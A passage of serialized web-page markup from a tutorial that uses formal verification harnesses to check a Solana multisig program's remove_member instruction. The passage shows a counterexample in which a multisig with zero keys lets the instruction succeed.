"type":26,"value":12318},{"type":21,"tag":22,"props":29145,"children":29146},{},[29147,29149,29154],{"type":26,"value":29148},"And for now let's remove the invariant on the ",{"type":21,"tag":78,"props":29150,"children":29152},{"className":29151},[],[29153],{"type":26,"value":25434},{"type":26,"value":29155}," account:",{"type":21,"tag":143,"props":29157,"children":29159},{"code":29158,"language":147,"meta":7,"className":145,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[29160],{"type":21,"tag":78,"props":29161,"children":29162},{"__ignoreMap":7},[29163,29171],{"type":21,"tag":153,"props":29164,"children":29165},{"class":155,"line":156},[29166],{"type":21,"tag":153,"props":29167,"children":29168},{"style":160},[29169],{"type":26,"value":29170},"#[invariant()]\n",{"type":21,"tag":153,"props":29172,"children":29173},{"class":155,"line":166},[29174,29178,29182,29186,29190,29194],{"type":21,"tag":153,"props":29175,"children":29176},{"style":170},[29177],{"type":26,"value":173},{"type":21,"tag":153,"props":29179,"children":29180},{"style":170},[29181],{"type":26,"value":23844},{"type":21,"tag":153,"props":29183,"children":29184},{"style":214},[29185],{"type":26,"value":23849},{"type":21,"tag":153,"props":29187,"children":29188},{"style":160},[29189],{"type":26,"value":12308},{"type":21,"tag":153,"props":29191,"children":29192},{"style":198},[29193],{"type":26,"value":12313},{"type":21,"tag":153,"props":29195,"children":29196},{"style":160},[29197],{"type":26,"value":12318},{"type":21,"tag":22,"props":29199,"children":29200},{},[29201],{"type":26,"value":29202},"Let's test this!",{"type":21,"tag":22,"props":29204,"children":29205},{},[29206,29208,29213],{"type":26,"value":29207},"Our ",{"type":21,"tag":78,"props":29209,"children":29211},{"className":29210},[],[29212],{"type":26,"value":22851},{"type":26,"value":29214}," harness produces:",{"type":21,"tag":143,"props":29216,"children":29218},{"code":29217},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[29219],{"type":21,"tag":78,"props":29220,"children":29221},{"__ignoreMap":7},[29222],{"type":26,"value":29217},{"type":21,"tag":22,"props":29224,"children":29225},{},[29226],{"type":26,"value":29227},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":21,"tag":22,"props":29229,"children":29230},{},[29231,29233,29238],{"type":26,"value":29232},"However, remember that since ",{"type":21,"tag":78,"props":29234,"children":29236},{"className":29235},[],[29237],{"type":26,"value":22851},{"type":26,"value":29239}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":21,"tag":22,"props":29241,"children":29242},{},[29243,29245,29250,29252,29257,29259,29264],{"type":26,"value":29244},"Suppose we want to be sure that this condition is the ",{"type":21,"tag":5302,"props":29246,"children":29247},{},[29248],{"type":26,"value":29249},"only condition",{"type":26,"value":29251}," in which the function will succeed (i.e. ",{"type":21,"tag":5302,"props":29253,"children":29254},{},[29255],{"type":26,"value":29256},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":26,"value":29258},"). We could attempt to verify the other side of this with an ",{"type":21,"tag":78,"props":29260,"children":29262},{"className":29261},[],[29263],{"type":26,"value":22858},{"type":26,"value":29265}," macro such as:",{"type":21,"tag":143,"props":29267,"children":29269},{"code":29268,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[29270],{"type":21,"tag":78,"props":29271,"children":29272},{"__ignoreMap":7},[29273,29280,29327,29334,29341,29388,29395],{"type":21,"tag":153,"props":29274,"children":29275},{"class":155,"line":156},[29276],{"type":21,"tag":153,"props":29277,"children":29278},{"style":160},[29279],{"type":26,"value":26809},{"type":21,"tag":153,"props":29281,"children":29282},{"class":155,"line":166},[29283,29287,29291,29295,29299,29303,29307,29311,29315,29319,29323],{"type":21,"tag":153,"props":29284,"children":29285},{"style":160},[29286],{"type":26,"value":22920},{"type":21,"tag":153,"props":29288,"children":29289},{"style":198},[29290],{"type":26,"value":355},{"type":21,"tag":153,"props":29292,"children":29293},{"style":160},[29294],{"type":26,"value":2987},{"type":21,"tag":153,"props":29296,"children":29297},{"style":198},[29298],{"type":26,"value":355},{"type":21,"tag":153,"props":29300,"children":29301},{"style":160},[29302],{"type":26,"value":26502},{"type":21,"tag":153,"props":29304,"children":29305},{"style":198},[29306],{"type":26,"value":355},{"type":21,"tag":153,"props":29308,"children":29309},{"style":160},[29310],{"type":26,"value":23676},{"type":21,"tag":153,"props":29312,"children":29313},{"style":198},[29314],{"type":26,"value":355},{"type":21,"tag":153,"props":29316,"children":29317},{"style":160},[29318],{"type":26,"value":23714},{"type":21,"tag":153,"props":29320,"children":29321},{"style":198},[29322],{"type":26,"value":13182},{"type":21,"tag":153,"props":29324,"children":29325},{"style":160},[29326],{"type":26,"value":22139},{"type":21,"tag":153,"props":29328,"children":29329},{"class":155,"line":225},[29330],{"type":21,"tag":153,"props":29331,"children":29332},{"style":160},[29333],{"type":26,"value":22954},{"type":21,"tag":153,"props":29335,"children":29336},{"class":155,"line":239},[29337],{"type":21,"tag":153,"props":29338,"children":29339},{"style":160},[29340],{"type":26,"value":22912},{"type":21,"tag":153,"props":29342,"children":29343},{"class":155,"line":382},[29344,29348,29352,29356,29360,29364,29368,29372,29376,29380,29384],{"type":21,"tag":153,"props":29345,"children":29346},{"style":160},[29347],{"type":26,"value":22920},{"type":21,"tag":153,"props":29349,"children":29350},{"style":198},[29351],{"type":26,"value":355},{"type":21,"tag":153,"props":29353,"children":29354},{"style":160},[29355],{"type":26,"value":2987},{"type":21,"tag":153,"props":29357,"children":29358},{"style":198},[29359],{"type":26,"value":355},{"type":21,"tag":153,"props":29361,"children":29362},{"style":160},[29363],{"type":26,"value":26502},{"type":21,"tag":153,"props":29365,"children":29366},{"style":198},[29367],{"type":26,"value":355},{"type":21,"tag":153,"props":29369,"children":29370},{"style":160},[29371],{"type":26,"value":23676},{"type":21,"tag":153,"props":29373,"children":29374},{"style":198},[29375],{"type":26,"value":355},{"type":21,"tag":153,"props":29377,"children":29378},{"style":160},[29379],{"type":26,"value":23714},{"type":21,"tag":153,"props":29381,"children":29382},{"style":198},[29383],{"type":26,"value":22111},{"type":21,"tag":153,"props":29385,"children":29386},{"style":160},[29387],{"type":26,"value":22139},{"type":21,"tag":153,"props":29389,"children":29390},{"class":155,"line":501},[29391],{"type":21,"tag":153,"props":29392,"children":29393},{"style":160},[29394],{"type":26,"value":22954},{"type":21,"tag":153,"props":29396,"children":29397},{"class":155,"line":533},[29398,29402,29406,29410,29414,29418,29422],{"type":21,"tag":153,"props":29399,"children":29400},{"style":170},[29401],{"type":26,"value":1000},{"type":21,"tag":153,"props":29403,"children":29404},{"style":181},[29405],{"type":26,"value":28462},{"type":21,"tag":153,"props":29407,"children":29408},{"style":160},[29409],{"type":26,"value":189},{"type":21,"tag":153,"props":29411,"children":29412},{"style":198},[29413],{"type":26,"value":12313},{"type":21,"tag":153,"props":29415,"children":29416},{"style":160},[29417],{"type":26,"value":26686},{"type":21,"tag":153,"props":29419,"children":29420},{"style":198},[29421],{"type":26,"value":12313},{"type":21,"tag":153,"props":29423,"children":29424},{"style":160},[29425],{"type":26,"value":12318},{"type":21,"tag":22,"props":29427,"children":29428},{},[29429,29431,29436],{"type":26,"value":29430},"Let's test this, we just need to run the new ",{"type":21,"tag":78,"props":29432,"children":29434},{"className":29433},[],[29435],{"type":26,"value":22858},{"type":26,"value":29437}," harness:",{"type":21,"tag":143,"props":29439,"children":29441},{"code":29440},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[29442],{"type":21,"tag":78,"props":29443,"children":29444},{"__ignoreMap":7},[29445],{"type":26,"value":29440},{"type":21,"tag":22,"props":29447,"children":29448},{},[29449],{"type":26,"value":29450},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":21,"tag":143,"props":29452,"children":29454},{"code":29453,"language":147,"meta":7,"className":145,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[29455],{"type":21,"tag":78,"props":29456,"children":29457},{"__ignoreMap":7},[29458,29469,29488,29507,29526,29545,29564,29583,29602,29621,29640,29660,29679,29686,29693,29720],{"type":21,"tag":153,"props":29459,"children":29460},{"class":155,"line":156},[29461,29465],{"type":21,"tag":153,"props":29462,"children":29463},{"style":214},[29464],{"type":26,"value":19844},{"type":21,"tag":153,"props":29466,"children":29467},{"style":160},[29468],{"type":26,"value":236},{"type":21,"tag":153,"props":29470,"children":29471},{"class":155,"line":166},[29472,29476,29480,29484],{"type":21,"tag":153,"props":29473,"children":29474},{"style":192},[29475],{"type":26,"value":27869},{"type":21,"tag":153,"props":29477,"children":29478},{"style":198},[29479],{"type":26,"value":201},{"type":21,"tag":153,"props":29481,"children":29482},{"style":214},[29483],{"type":26,"value":23849},{"type":21,"tag":153,"props":29485,"children":29486},{"style":160},[29487],{"type":26,"value":236},{"type":21,"tag":153,"props":29489,"children":29490},{"class":155,"line":225},[29491,29495,29499,29503],{"type":21,"tag":153,"props":29492,"children":29493},{"style":192},[29494],{"type":26,"value":26523},{"type":21,"tag":153,"props":29496,"children":29497},{"style":198},[29498],{"type":26,"value":201},{"type":21,"tag":153,"props":29500,"children":29501},{"style":300},[29502],{"type":26,"value":5799},{"type":21,"tag":153,"props":29504,"children":29505},{"style":160},[29506],{"type":26,"value":792},{"type":21,"tag":153,"props":29508,"children":29509},{"class":155,"line":239},[29510,29514,29518,29522],{"type":21,"tag":153,"props":29511,"children":29512},{"style":192},[29513],{"type":26,"value":27909},{"type":21,"tag":153,"props":29515,"children":29516},{"style":198},[29517],{"type":26,"value":201},{"type":21,"tag":153,"props":29519,"children":29520},{"style":300},[29521],{"type":26,"value":5799},{"type":21,"tag":153,"props":29523,"children":29524},{"style":160},[29525],{"type":26,"value":792},{"type":21,"tag":153,"props":29527,"children":29528},{"class":155,"line":382},[29529,29533,29537,29541],{"type":21,"tag":153,"props":29530,"children":29531},{"style":192},[29532],{"type":26,"value":27929},{"type":21,"tag":153,"props":29534,"children":29535},{"style":198},[29536],{"type":26,"value":201},{"type":21,"tag":153,"props":29538,"children":29539},{"style":300},[29540],{"type":26,"value":5799},{"type":21,"tag":153,"props":29542,"children":29543},{"style":160},[29544],{"type":26,"value":792},{"type":21,"tag":153,"props":29546,"children":29547},{"class":155,"line":501},[29548,29552,29556,29560],{"type":21,"tag":153,"props":29549,"children":29550},{"style":192},[29551],{"type":26,"value":27949},{"type":21,"tag":153,"props":29553,"children":29554},{"style":198},[29555],{"type":26,"value":201},{"type":21,"tag":153,"props":29557,"children":29558},{"style":300},[29559],{"type":26,"value":5799},{"type":21,"tag":153,"props":29561,"children":29562},{"style":160},[29563],{"type":26,"value":792},{"type":21,"tag":153,"props":29565,"children":29566},{"class":155,"line":533},[29567,29571,29575,29579],{"type":21,"tag":153,"props":29568,"children":29569},{"style":192},[29570],{"type":26,"value":27969},{"type":21,"tag":153,"props":29572,"children":29573},{"style":198},[29574],{"type":26,"value":201},{"type":21,"tag":153,"props":29576,"children":29577},{"style":300},[29578],{"type":26,"value":5799},{"type":21,"tag":153,"props":29580,"children":29581},{"style":160},[29582],{"type":26,"value":792},{"type":21,"tag":153,"props":29584,"children":29585},{"class":155,"line":542},[29586,29590,29594,29598],{"type":21,"tag":153,"props":29587,"children":29588},{"style":192},[29589],{"type":26,"value":26536},{"type":21,"tag":153,"props":29591,"children":29592},{"style":198},[29593],{"type":26,"value":201},{"type":21,"tag":153,"props":29595,"children":29596},{"style":198},[29597],{"type":26,"value":27997},{"type":21,"tag":153,"props":29599,"children":29600},{"style":160},[29601],{"type":26,"value":792},{"type":21,"tag":153,"props":29603,"children":29604},{"class":155,"line":762},[29605,29609,29613,29617],{"type":21,"tag":153,"props":29606,"children":29607},{"style":192},[29608],{"type":26,"value":28009},{"type":21,"tag":153,"props":29610,"children":29611},{"style":198},[29612],{"type":26,"value":201},{"type":21,"tag":153,"props":29614,"children":29615},{"style":170},[29616],{"type":26,"value":11782},{"type":21,"tag":153,"props":29618,"children":29619},{"style":160},[29620],{"type":26,"value":792},{"type":21,"tag":153,"props":29622,"children":29623},{"class":155,"line":776},[29624,29628,29632,29636],{"type":21,"tag":153,"props":29625,"children":29626},{"style":192},[29627],{"type":26,"value":28029},{"type":21,"tag":153,"props":29629,"children":29630},{"style":198},[29631],{"type":26,"value":201},{"type":21,"tag":153,"props":29633,"children":29634},{"style":214},[29635],{"type":26,"value":24082},{"type":21,"tag":153,"props":29637,"children":29638},{"style":160},[29639],{"type":26,"value":236},{"type":21,"tag":153,"props":29641,"children":29642},{"class":155,"line":795},[29643,29648,29652,29656],{"type":21,"tag":153,"props":29644,"children":29645},{"style":192},[29646],{"type":26,"value":29647},"            data",{"type":21,"tag":153,"props":29649,"children":29650},{"style":198},[29651],{"type":26,"value":201},{"type":21,"tag":153,"props":29653,"children":29654},{"style":198},[29655],{"type":26,"value":27997},{"type":21,"tag":153,"props":29657,"children":29658},{"style":160},[29659],{"type":26,"value":792},{"type":21,"tag":153,"props":29661,"children":29662},{"class":155,"line":808},[29663,29667,29671,29675],{"type":21,"tag":153,"props":29664,"children":29665},{"style":192},[29666],{"type":26,"value":28050},{"type":21,"tag":153,"props":29668,"children":29669},{"style":198},[29670],{"type":26,"value":201},{"type":21,"tag":153,"props":29672,"children":29673},{"style":300},[29674],{"type":26,"value":5799},{"type":21,"tag":153,"props":29676,"children":29677},{"style":160},[29678],{"type":26,"value":792},{"type":21,"tag":153,"props":29680,"children":29681},{"class":155,"line":820},[29682],{"type":21,"tag":153,"props":29683,"children":29684},{"style":160},[29685],{"type":26,"value":3236},{"type":21,"tag":153,"props":29687,"children":29688},{"class":155,"line":842},[29689],{"type":21,"tag":153,"props":29690,"children":29691},{"style":160},[29692],{"type":26,"value":28078},{"type":21,"tag":153,"props":29694,"children":29695},{"class":155,"line":3204},[29696,29700,29704,29708,29712,29716],{"type":21,"tag":153,"props":29697,"children":29698},{"style":192},[29699],{"type":26,"value":28086},{"type":21,"tag":153,"props":29701,"children":29702},{"style":198},[29703],{"type":26,"value":201},{"type":21,"tag":153,"props":29705,"children":29706},{"style":214},[29707],{"type":26,"value":28095},{"type":21,"tag":153,"props":29709,"children":29710},{"style":160},[29711],{"type":26,"value":12308},{"type":21,"tag":153,"props":29713,"children":29714},{"style":198},[29715],{"type":26,"value":12313},{"type":21,"tag":153,"props":29717,"children":29718},{"style":160},[29719],{"type":26,"value":28108},{"type":21,"tag":153,"props":29721,"children":29722},{"class":155,"line":3230},[29723],{"type":21,"tag":153,"props":29724,"children":29725},{"style":160},[29726],{"type":26,"value":548},{"type":21,"tag":22,"props":29728,"children":29729},{},[29730],{"type":26,"value":29731},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":21,"tag":22,"props":29733,"children":29734},{},[29735,29737,29743],{"type":26,"value":29736},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":21,"tag":78,"props":29738,"children":29740},{"className":29739},[],[29741],{"type":26,"value":29742},"Ms::remove_member",{"type":26,"value":201},{"type":21,"tag":143,"props":29745,"children":29747},{"code":29746,"language":147,"meta":7,"className":145,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[29748],{"type":21,"tag":78,"props":29749,"children":29750},{"__ignoreMap":7},[29751,29810,29841,29848],{"type":21,"tag":153,"props":29752,"children":29753},{"class":155,"line":156},[29754,29758,29762,29766,29770,29774,29778,29782,29786,29790,29794,29798,29802,29806],{"type":21,"tag":153,"props":29755,"children":29756},{"style":1751},[29757],{"type":26,"value":2338},{"type":21,"tag":153,"props":29759,"children":29760},{"style":192},[29761],{"type":26,"value":28540},{"type":21,"tag":153,"props":29763,"children":29764},{"style":198},[29765],{"type":26,"value":355},{"type":21,"tag":153,"props":29767,"children":29768},{"style":160},[29769],{"type":26,"value":2987},{"type":21,"tag":153,"props":29771,"children":29772},{"style":198},[29773],{"type":26,"value":355},{"type":21,"tag":153,"props":29775,"children":29776},{"style":160},[29777],{"type":26,"value":26502},{"type":21,"tag":153,"props":29779,"children":29780},{"style":198},[29781],{"type":26,"value":355},{"type":21,"tag":153,"props":29783,"children":29784},{"style":160},[29785],{"type":26,"value":23676},{"type":21,"tag":153,"props":29787,"children":29788},{"style":198},[29789],{"type":26,"value":355},{"type":21,"tag":153,"props":29791,"children":29792},{"style":181},[29793],{"type":26,"value":2456},{"type":21,"tag":153,"props":29795,"children":29796},{"style":160},[29797],{"type":26,"value":2461},{"type":21,"tag":153,"props":29799,"children":29800},{"style":198},[29801],{"type":26,"value":1694},{"type":21,"tag":153,"props":29803,"children":29804},{"style":300},[29805],{"type":26,"value":7253},{"type":21,"tag":153,"props":29807,"children":29808},{"style":160},[29809],{"type":26,"value":236},{"type":21,"tag":153,"props":29811,"children":29812},{"class":155,"line":166},[29813,29817,29821,29825,29829,29833,29837],{"type":21,"tag":153,"props":29814,"children":29815},{"style":1751},[29816],{"type":26,"value":19687},{"type":21,"tag":153,"props":29818,"children":29819},{"style":181},[29820],{"type":26,"value":26209},{"type":21,"tag":153,"props":29822,"children":29823},{"style":160},[29824],{"type":26,"value":189},{"type":21,"tag":153,"props":29826,"children":29827},{"style":214},[29828],{"type":26,"value":26218},{"type":21,"tag":153,"props":29830,"children":29831},{"style":198},[29832],{"type":26,"value":265},{"type":21,"tag":153,"props":29834,"children":29835},{"style":214},[29836],{"type":26,"value":28616},{"type":21,"tag":153,"props":29838,"children":29839},{"style":160},[29840],{"type":26,"value":530},{"type":21,"tag":153,"props":29842,"children":29843},{"class":155,"line":225},[29844],{"type":21,"tag":153,"props":29845,"children":29846},{"style":160},[29847],{"type":26,"value":548},{"type":21,"tag":153,"props":29849,"children":29850},{"class":155,"line":239},[29851,29855,29859,29863,29867,29871,29875,29879,29883,29887,29891,29895],{"type":21,"tag":153,"props":29852,"children":29853},{"style":192},[29854],{"type":26,"value":1882},{"type":21,"tag":153,"props":29856,"children":29857},{"style":198},[29858],{"type":26,"value":355},{"type":21,"tag":153,"props":29860,"children":29861},{"style":160},[29862],{"type":26,"value":2987},{"type":21,"tag":153,"props":29864,"children":29865},{"style":198},[29866],{"type":26,"value":355},{"type":21,"tag":153,"props":29868,"children":29869},{"style":160},[29870],{"type":26,"value":26502},{"type":21,"tag":153,"props":29872,"children":29873},{"style":198},[29874],{"type":26,"value":355},{"type":21,"tag":153,"props":29876,"children":29877},{"style":181},[29878],{"type":26,"value":28163},{"type":21,"tag":153,"props":29880,"children":29881},{"style":160},[29882],{"type":26,"value":189},{"type":21,"tag":153,"props":29884,"children":29885},{"style":192},[29886],{"type":26,"value":28496},{"type":21,"tag":153,"props":29888,"children":29889},{"style":160},[29890],{"type":26,"value":2071},{"type":21,"tag":153,"props":29892,"children":29893},{"style":198},[29894],{"type":26,"value":2022},{"type":21,"tag":153,"props":29896,"children":29897},{"style":160},[29898],{"type":26,"value":1759},{"type":21,"tag":22,"props":29900,"children":29901},{},[29902,29904,29910,29912,29918],{"type":26,"value":29903},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":21,"tag":78,"props":29905,"children":29907},{"className":29906},[],[29908],{"type":26,"value":29909},"Ms::is_member",{"type":26,"value":29911},") and if it is not, it simply skips the removal and returns ",{"type":21,"tag":78,"props":29913,"children":29915},{"className":29914},[],[29916],{"type":26,"value":29917},"Ok(())",{"type":26,"value":355},{"type":21,"tag":143,"props":29920,"children":29922},{"code":29921,"language":147,"meta":7,"className":145,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[29923],{"type":21,"tag":78,"props":29924,"children":29925},{"__ignoreMap":7},[29926,29990,30047,30084,30143,30211,30218,30225,30236],{"type":21,"tag":153,"props":29927,"children":29928},{"class":155,"line":156},[29929,29933,29937,29941,29945,29949,29953,29957,29961,29966,29970,29974,29978,29982,29986],{"type":21,"tag":153,"props":29930,"children":29931},{"style":170},[29932],{"type":26,"value":173},{"type":21,"tag":153,"props":29934,"children":29935},{"style":170},[29936],{"type":26,"value":178},{"type":21,"tag":153,"props":29938,"children":29939},{"style":181},[29940],{"type":26,"value":28462},{"type":21,"tag":153,"props":29942,"children":29943},{"style":160},[29944],{"type":26,"value":189},{"type":21,"tag":153,"props":29946,"children":29947},{"style":198},[29948],{"type":26,"value":1974},{"type":21,"tag":153,"props":29950,"children":29951},{"style":170},[29952],{"type":26,"value":318},{"type":21,"tag":153,"props":29954,"children":29955},{"style":170},[29956],{"type":26,"value":16510},{"type":21,"tag":153,"props":29958,"children":29959},{"style":160},[29960],{"type":26,"value":1670},{"type":21,"tag":153,"props":29962,"children":29963},{"style":192},[29964],{"type":26,"value":29965},"member",{"type":21,"tag":153,"props":29967,"children":29968},{"style":198},[29969],{"type":26,"value":201},{"type":21,"tag":153,"props":29971,"children":29972},{"style":214},[29973],{"type":26,"value":2266},{"type":21,"tag":153,"props":29975,"children":29976},{"style":160},[29977],{"type":26,"value":2362},{"type":21,"tag":153,"props":29979,"children":29980},{"style":198},[29981],{"type":26,"value":2953},{"type":21,"tag":153,"props":29983,"children":29984},{"style":214},[29985],{"type":26,"value":16475},{"type":21,"tag":153,"props":29987,"children":29988},{"style":160},[29989],{"type":26,"value":23025},{"type":21,"tag":153,"props":29991,"children":29992},{"class":155,"line":166},[29993,29997,30001,30005,30009,30014,30018,30022,30026,30030,30035,30039,30043],{"type":21,"tag":153,"props":29994,"children":29995},{"style":1751},[29996],{"type":26,"value":2434},{"type":21,"tag":153,"props":29998,"children":29999},{"style":170},[30000],{"type":26,"value":2343},{"type":21,"tag":153,"props":30002,"children":30003},{"style":214},[30004],{"type":26,"value":2348},{"type":21,"tag":153,"props":30006,"children":30007},{"style":160},[30008],{"type":26,"value":189},{"type":21,"tag":153,"props":30010,"children":30011},{"style":192},[30012],{"type":26,"value":30013},"ind",{"type":21,"tag":153,"props":30015,"children":30016},{"style":160},[30017],{"type":26,"value":2362},{"type":21,"tag":153,"props":30019,"children":30020},{"style":198},[30021],{"type":26,"value":2367},{"type":21,"tag":153,"props":30023,"children":30024},{"style":170},[30025],{"type":26,"value":16510},{"type":21,"tag":153,"props":30027,"children":30028},{"style":198},[30029],{"type":26,"value":355},{"type":21,"tag":153,"props":30031,"children":30032},{"style":181},[30033],{"type":26,"value":30034},"is_member",{"type":21,"tag":153,"props":30036,"children":30037},{"style":160},[30038],{"type":26,"value":189},{"type":21,"tag":153,"props":30040,"children":30041},{"style":192},[30042],{"type":26,"value":29965},{"type":21,"tag":153,"props":30044,"children":30045},{"style":160},[30046],{"type":26,"value":2659},{"type":21,"tag":153,"props":30048,"children":30049},{"class":155,"line":225},[30050,30055,30059,30063,30067,30072,30076,30080],{"type":21,"tag":153,"props":30051,"children":30052},{"style":170},[30053],{"type":26,"value":30054},"        self",{"type":21,"tag":153,"props":30056,"children":30057},{"style":198},[30058],{"type":26,"value":355},{"type":21,"tag":153,"props":30060,"children":30061},{"style":160},[30062],{"type":26,"value":23676},{"type":21,"tag":153,"props":30064,"children":30065},{"style":198},[30066],{"type":26,"value":355},{"type":21,"tag":153,"props":30068,"children":30069},{"style":181},[30070],{"type":26,"value":30071},"remove",{"type":21,"tag":153,"props":30073,"children":30074},{"style":160},[30075],{"type":26,"value":189},{"type":21,"tag":153,"props":30077,"children":30078},{"style":192},[30079],{"type":26,"value":30013},{"type":21,"tag":153,"props":30081,"children":30082},{"style":160},[30083],{"type":26,"value":530},{"type":21,"tag":153,"props":30085,"children":30086},{"class":155,"line":239},[30087,30091,30095,30099,30103,30107,30111,30115,30119,30123,30127,30131,30135,30139],{"type":21,"tag":153,"props":30088,"children":30089},{"style":1751},[30090],{"type":26,"value":2607},{"type":21,"tag":153,"props":30092,"children":30093},{"style":170},[30094],{"type":26,"value":16510},{"type":21,"tag":153,"props":30096,"children":30097},{"style":198},[30098],{"type":26,"value":355},{"type":21,"tag":153,"props":30100,"children":30101},{"style":160},[30102],{"type":26,"value":23676},{"type":21,"tag":153,"props":30104,"children":30105},{"style":198},[30106],{"type":26,"value":355},{"type":21,"tag":153,"props":30108,"children":30109},{"style":181},[30110],{"type":26,"value":2456},{"type":21,"tag":153,"props":30112,"children":30113},{"style":160},[30114],{"type":26,"value":28741},{"type":21,"tag":153,"props":30116,"children":30117},{"style":214},[30118],{"type":26,"value":19299},{"type":21,"tag":153,"props":30120,"children":30121},{"style":198},[30122],{"type":26,"value":265},{"type":21,"tag":153,"props":30124,"children":30125},{"style":181},[30126],{"type":26,"value":22170},{"type":21,"tag":153,"props":30128,"children":30129},{"style":160},[30130],{"type":26,"value":189},{"type":21,"tag":153,"props":30132,"children":30133},{"style":170},[30134],{"type":26,"value":16427},{"type":21,"tag":153,"props":30136,"children":30137},{"style":198},[30138],{"type":26,"value":355},{"type":21,"tag":153,"props":30140,"children":30141},{"style":160},[30142],{"type":26,"value":28786},{"type":21,"tag":153,"props":30144,"children":30145},{"class":155,"line":382},[30146,30151,30155,30159,30163,30167,30171,30175,30179,30183,30187,30191,30195,30199,30203,30207],{"type":21,"tag":153,"props":30147,"children":30148},{"style":170},[30149],{"type":26,"value":30150},"            self",{"type":21,"tag":153,"props":30152,"children":30153},{"style":198},[30154],{"type":26,"value":355},{"type":21,"tag":153,"props":30156,"children":30157},{"style":160},[30158],{"type":26,"value":23764},{"type":21,"tag":153,"props":30160,"children":30161},{"style":198},[30162],{"type":26,"value":2367},{"type":21,"tag":153,"props":30164,"children":30165},{"style":170},[30166],{"type":26,"value":16510},{"type":21,"tag":153,"props":30168,"children":30169},{"style":198},[30170],{"type":26,"value":355},{"type":21,"tag":153,"props":30172,"children":30173},{"style":160},[30174],{"type":26,"value":23676},{"type":21,"tag":153,"props":30176,"children":30177},{"style":198},[30178],{"type":26,"value":355},{"type":21,"tag":153,"props":30180,"children":30181},{"style":181},[30182],{"type":26,"value":2456},{"type":21,"tag":153,"props":30184,"children":30185},{"style":160},[30186],{"type":26,"value":365},{"type":21,"tag":153,"props":30188,"children":30189},{"style":198},[30190],{"type":26,"value":355},{"type":21,"tag":153,"props":30192,"children":30193},{"style":181},[30194],{"type":26,"value":360},{"type":21,"tag":153,"props":30196,"children":30197},{"style":160},[30198],{"type":26,"value":365},{"type":21,"tag":153,"props":30200,"children":30201},{"style":198},[30202],{"type":26,"value":355},{"type":21,"tag":153,"props":30204,"children":30205},{"style":181},[30206],{"type":26,"value":374},{"type":21,"tag":153,"props":30208,"children":30209},{"style":160},[30210],{"type":26,"value":839},{"type":21,"tag":153,"props":30212,"children":30213},{"class":155,"line":501},[30214],{"type":21,"tag":153,"props":30215,"children":30216},{"style":160},[30217],{"type":26,"value":2765},{"type":21,"tag":153,"props":30219,"children":30220},{"class":155,"line":533},[30221],{"type":21,"tag":153,"props":30222,"children":30223},{"style":160},[30224],{"type":26,"value":539},{"type":21,"tag":153,"props":30226,"children":30227},{"class":155,"line":542},[30228,30232],{"type":21,"tag":153,"props":30229,"children":30230},{"style":214},[30231],{"type":26,"value":3621},{"type":21,"tag":153,"props":30233,"children":30234},{"style":160},[30235],{"type":26,"value":3626},{"type":21,"tag":153,"props":30237,"children":30238},{"class":155,"line":762},[30239],{"type":21,"tag":153,"props":30240,"children":30241},{"style":160},[30242],{"type":26,"value":548},{"type":21,"tag":22,"props":30244,"children":30245},{},[30246,30248,30253,30255,30261,30263,30269,30271,30276],{"type":26,"value":30247},"Inside ",{"type":21,"tag":78,"props":30249,"children":30251},{"className":30250},[],[30252],{"type":26,"value":29909},{"type":26,"value":30254},", we see that it performs a ",{"type":21,"tag":78,"props":30256,"children":30258},{"className":30257},[],[30259],{"type":26,"value":30260},"binary_search",{"type":26,"value":30262}," on the keys vec and returns the index or ",{"type":21,"tag":78,"props":30264,"children":30266},{"className":30265},[],[30267],{"type":26,"value":30268},"None",{"type":26,"value":30270},". Since the vec has size zero, this will just return ",{"type":21,"tag":78,"props":30272,"children":30274},{"className":30273},[],[30275],{"type":26,"value":30268},{"type":26,"value":355},{"type":21,"tag":143,"props":30278,"children":30280},{"code":30279,"language":147,"meta":7,"className":145,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[30281],{"type":21,"tag":78,"props":30282,"children":30283},{"__ignoreMap":7},[30284,30353,30396,30435,30457,30464],{"type":21,"tag":153,"props":30285,"children":30286},{"class":155,"line":156},[30287,30291,30295,30300,30304,30308,30312,30316,30320,30324,30328,30332,30336,30341,30345,30349],{"type":21,"tag":153,"props":30288,"children":30289},{"style":170},[30290],{"type":26,"value":173},{"type":21,"tag":153,"props":30292,"children":30293},{"style":170},[30294],{"type":26,"value":178},{"type":21,"tag":153,"props":30296,"children":30297},{"style":181},[30298],{"type":26,"value":30299}," 